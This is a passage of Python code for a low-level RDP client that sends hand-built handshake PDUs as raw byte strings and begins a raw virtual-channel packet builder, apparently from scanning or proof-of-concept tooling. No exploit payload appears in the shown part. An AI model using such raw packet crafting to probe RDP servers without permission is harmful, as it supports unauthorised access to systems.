b"\x03\x00\x01\xe0\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x81\xd1\xd1\x01\x13\x00\xef\x03\xea\x03\x01\x00\xea\x03\x08\x00\xb9\x01\x46\x52\x45\x45\x52\x44\x50\x00\x13\x00\x00\x00\x01\x00\x18\x00\x04\x00\x07\x00\x00\x02\x00\x00\x00\x00\x15\x04\x00\x00\x00\x00\x00\x00\x01\x01\x02\x00\x1c\x00\x10\x00\x01\x00\x01\x00\x01\x00\x00\x04\x00\x03\x00\x00\x01\x00\x01\x00\x00\x08\x01\x00\x00\x00\x03\x00\x58\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00\x00\x00\x01\x00\x00\x00\xaa\x00\x01\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x84\x03\x00\x00\x00\x00\x00\xe9\xfd\x00\x00\x13\x00\x28\x00\x03\x00\x00\x05\x58\x02\x00\x00\x58\x02\x00\x00\x00\x08\x00\x00\x00\x10\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x0a\x00\x01\x00\x14\x00\x14\x00\x0d\x00\x58\x00\x3d\x00\x00\x00\x09\x04\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x08\x00\x02\x00\x00\x00\x10\x00\x34\x00\xfe\x00\x04\x00\xfe\x00\x04\x00\xfe\x00\x08\x00\xfe\x00\x08\x00\xfe\x00\x10\x00\xfe\x00\x20\x00\xfe\x00\x40\x00\xfe\x00\x80\x00\xfe\x00\x00\x01\x40\x00\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x14\x00\x0c\x00\x00\x00\x00\x00\x40\x06\x00\x00\x0c\x00\x08\x00\x01\x00\x00\x00\x09\x00\x08\x00\x00\x00\x00\x00\x0e\x00\x08\x00\x01\x00\x00\x00\x05\x00\x0c\x00\x00\x00\x00\x00\x02\x00\x02\x00\x0a\x00\x08\x00\x06\x00\x00\x00\x07\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1b\x00\x06\x00\x01\x00\x1a\x00\x08\x00\xff\xff\x00\x00\x1c\x00\x0c\x00\x52\x00\x00\x00\x00\x00\x00\x00\x1d\x00\x05\x00\x00" self.transport_write(p) def send_establish_session(self): # Client Synchronize PDU p = b"\x03\x00\x00\x25\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x16\x16\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x04\x00\x1f\x00\x00\x00\x01\x00\xea\x03" self.transport_write(p) # Client Control PDU - Cooperate p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00" self.transport_write(p) # Client Control PDU - Request Control p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x14\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" self.transport_write(p) # Client Persistent Key List PDU p = b"\x03\x00\x00\x39\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x2a\x2a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x18\x00\x2b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00" self.transport_write(p) # Client Font List PDU p = b"\x03\x00\x00\x29\x02\xf0\x80\x64\x00\x0d\x03\xeb\x70\x80\x1a\x1a\x00\x17\x00\xef\x03\xea\x03\x01\x00\x00\x01\x08\x00\x27\x00\x00\x00\x00\x00\x00\x00\x03\x00\x32\x00" self.transport_write(p) def add_tpkt_header(self, p, add_x224_tpdu = True): if add_x224_tpdu: p = b"\x02\xf0\x80" + p tpkt = b"\x03\x00" tpkt += struct.pack(">H", len(p) + 4) tpkt += p return tpkt def terminate_connection(self): p = b"\x03\x00\x00\x09\x02\xf0\x80\x21\x80" self.transport_write(p) def make_channel_raw(self, channel_id, data, total_length, flags = 0): p = b"" p += b"\x64" # MCS Send Data Request structure (SDrq, choice 25 from DomainMCSPDU)... right-padded two 0-bits p += struct.pack(">H", self.get_user_id()) # userId p += struct.pack(">H", channel_id) # channelId p += b"\x70" #\x80" # securityHeader? msg_len = 0x8000 | (len(data) + 8) p += struct.pack(">H", msg_len) # msg packet length! p += struct.pack("